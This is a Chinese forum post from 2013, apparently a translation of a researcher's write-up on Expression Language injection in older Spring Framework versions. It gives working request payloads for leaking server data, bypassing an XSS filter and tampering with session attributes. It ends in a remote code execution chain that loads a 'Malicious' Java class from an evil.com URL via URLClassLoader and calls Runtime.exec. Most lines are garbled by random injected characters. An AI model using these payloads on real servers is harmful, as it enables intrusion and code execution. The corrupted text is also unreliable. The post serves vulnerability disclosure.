找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2500|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with; G* s1 N: U. J+ `
Expression Language Injection
7 `7 q* F* x" I! ~8 O+ dSpring Framework脆弱性—DanAmodio" u& Q5 J% G2 A8 n, J' l
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
& v# E; |- ]/ K: v. b+ s( z可能会存在风险。' _. a* ^' [! d* ^% h
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的) i; l- l' R; g6 i( E; d* L: ~
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
+ W( \/ K# u& _. I以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,! ]5 o. E: P6 `- A& x
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
1 N. f8 q& o  T# ?% H) j" S. |) H版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
+ {1 _( z7 D8 n: P3 z" z% m, U由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
- u- U' d" j+ Q/ L我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版/ B- v- g% @8 W& z
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ I3 K( p6 F3 i: J. j5 z* L$ k1 V2 S这些版本不支持禁用double EL resolution.
* b+ I( Q; f+ Q这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含$ L0 @* f/ H, w# j
EL2.2容器上可能进行远程代码执行。
& U, r$ l% i- P: S7 v这是一个原始信息泄露的攻击例子:) x' A4 m5 h1 L
请求:( t- A( k% h) Q! U" v1 u
ttp://vulnerable.com/foo?message=${applicationScope}2 j# j% E1 M7 A% i
到达以下内容页面:
. M7 M. Y- s1 f, G. w结果将输出一些包含内部服务器信息calsspath 和本地工作目录
) G  J; Z5 q, N) [你也可以做一些其他事情,如这样:, z' F' s" G3 E& `/ ^- o5 X
${9999+1}+ I8 _! P! Z* P: L0 u
还可以访问session 对象和beans
. d: X% T  d) ~) z( R6 b${employee.lastName}
% ?  w7 a) `; d/ _5 b在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是% h& h* p, `- J( @0 U1 c2 K
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
" r0 a3 T4 c( X/ J% x西,比如XSS.  a& ?( [; v& ~. [
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签. }* I9 n) Z! @4 y
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤$ b' Y: m& t% Q( L# f/ a- _; s; k
呢?”2 w5 A$ I3 K$ K8 t6 D2 U
因此,我尝试巳缦拢�9 }6 F+ F) l/ z' L8 E; W
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
( n  ]9 @8 \5 gP
3 R; ~5 m' \, ^$ p; r) v我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
. P$ j  F. u1 A7 ]+ b回的文本被插入进了spring:message 标签。$ d1 p# u. C$ z+ w
这里是一个最终绕过过滤的实例:
$ I+ B/ W2 I) y, A" Z9 m8 |http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
1 b& y, Y: p! _! ~$ ?它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
% N: G0 t. |# ~什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?% e/ @+ T7 |0 C) ]6 v6 n7 c: ^
经过一番研究,我学习到EL2.2 增加了方法调用。
; d. t+ |' M+ u1 M3 J我写了一个快速测试应用程序代码并且检测一些功能
7 p0 K  a7 x, H' F${pageContext.request.getSession().setAttribute(“account”,”123456″)}' g9 v. x/ B2 T$ P) }1 k9 S' q# K
${pageContext.request.getSession().setAttribute(“admin”,true)}
9 s7 L. s5 Z; z5 G, G好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
- \- h# T/ y9 @指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
' g3 D5 ]1 X. M# z/ h${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
8 q* t6 N# T* R0 @* W“, 1234)}0 P. B2 ]0 T+ X4 d
${“”.getClass().forName(“java.lang.Runtime”)}
9 H3 m: X5 t. }" i哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
( w! ?2 C8 ~9 W" {可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函7 L4 I& \0 R4 [2 {
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
& _0 s/ W0 F' ~4 a# O一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于) d' ?5 C. x: ^/ j+ X6 N8 }4 R
方法签名invoke(Object obj, Object„ args)
7 F( M+ p3 d4 @% h" N+ VJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问% U  ?; x. E) Q  A, U* g1 f( Q
题,以让它可以工作起来。
/ a3 P, z, e( c+ H漏洞利用:2 H0 r: ^, k2 i! j
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我) J" E" I5 X$ G# B
希望你们中的一些JAVA奇才告诉我我是如此的可笑。6 j# v9 l! i3 o
这里有一些我试过的失败的用例,为了试图让它工作的用例:& D- O" u& {6 G& ^/ p( x/ h; R
 写文件到文件系统
& E0 H% i* l* g; j/ P- _3 r+ o. g 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
. K' ]/ ]6 n# U* x) ^我认为这些可以很好的工作,但是我不能找到合适的类来载入。
; h6 b- v* {& l( G( H, J${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
, X; n7 k' f5 r+ _1 B. ?javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
- h2 ]* P" h6 [$ g) Sorg.springframework.expression.spel.standard.SpelExpressionParser not found
& S( q! l: s. r4 E  K# _by
2 T5 R, h" ?% Iorg.glassfish.web.javax.servlet.jsp [194].- e2 K* s) b5 n
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public$ M5 [# y7 A' Q; k  r' \* q7 W* v
 利用反射来创建一个新的Runtime(and watch the world burn)1 Y" l; [5 f, u8 K- c& O
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName6 |9 u6 V- Y0 u
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
# w; r, T9 ?7 L5 p${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}! L! v4 A2 z( C/ E
 使用java.lang.ProcessBuilder2 R5 k# Q/ f- l3 l$ Q. ?; w. e: ]
 用表达式语言来评估表达式语言
' a9 S% F  z  L  u' _+ iExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.* F* F; f+ a/ F5 D, ]' i+ `0 P, }
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request( b$ Q5 }/ Y% ~2 Y
“,”".getClass(),null)}
5 l: w4 S5 J' |$ U. k0 m- q% a 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
4 d( ]* ^; ^$ \1 j* G) e我在使用一个空数组通过Method.invoke()时失败了很多次# r) Z7 F' m2 _. _2 \2 Z* m2 D  Q
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo$ L* I9 N6 p: d8 ^
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
4 T2 L5 F. p- d6 O6 J7 [7 crrayList”).newInstance().toArray())" Z2 h) h) A3 ^% n
java.lang.IllegalArgumentException: wrong number of arguments
& F( r0 j! o3 k/ ]最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
! {$ {' o  Q4 J以创建一个恶意class文件并且指向类装载器.
  l" A% E+ w* b' L; M  k, l我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:" {1 Z: \! I. O3 J; E% Q6 v
public class Malicious {
/ V- i7 u# `; q( Fpublic Malicious() {2 w1 ~( a1 ^# T; H1 S/ ?: @
try {; D9 h; H. n2 b% h( k
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
( C6 V1 G) S, r: {java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
6 ^6 P7 A; P% q' K/ W8 z1 ~9 q} catch (Exception e) {  p! x4 J4 K) Q- J/ A& H
}
8 S- `, s, l9 R. Q}0 a$ w4 P# ~/ u4 k/ c8 q
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回' n# k0 f  W$ a! i7 M/ U1 Z
话中,因此它可以被使用.
+ M8 J9 Z! V& Z5 z/ t${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName( n; I9 ]$ `% _  @
(“java.util.ArrayList”).newInstance())}8 W7 K! t; P- u  e& A' K) G  D$ b
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
# u0 y: w( [. u" N) V一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
4 B0 o  ]+ s# BgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
  q, R0 B) S3 @! @9 P4 A我们可以调用的create(string)方法,然后转换对一个URL对象。
/ F; k% k" u: Q" ^" V${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh2 e/ w! N1 b. J1 ]& ]
ere/malicious/classfile/is/located/”).toURL())}, ^7 e% w3 w* L8 r, T
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,/ O( a! ^  P! O7 s( ^3 y$ j4 E+ Q+ G
恶意类文件被装载并创建,触发远程代码.
) ~' R) P4 l0 S0 i( S${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
. G' l( ^3 B' A- |9 {# N- oxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().4 w* I; G% r( Q* A- m. l
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" p; l: E" L8 O# X()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表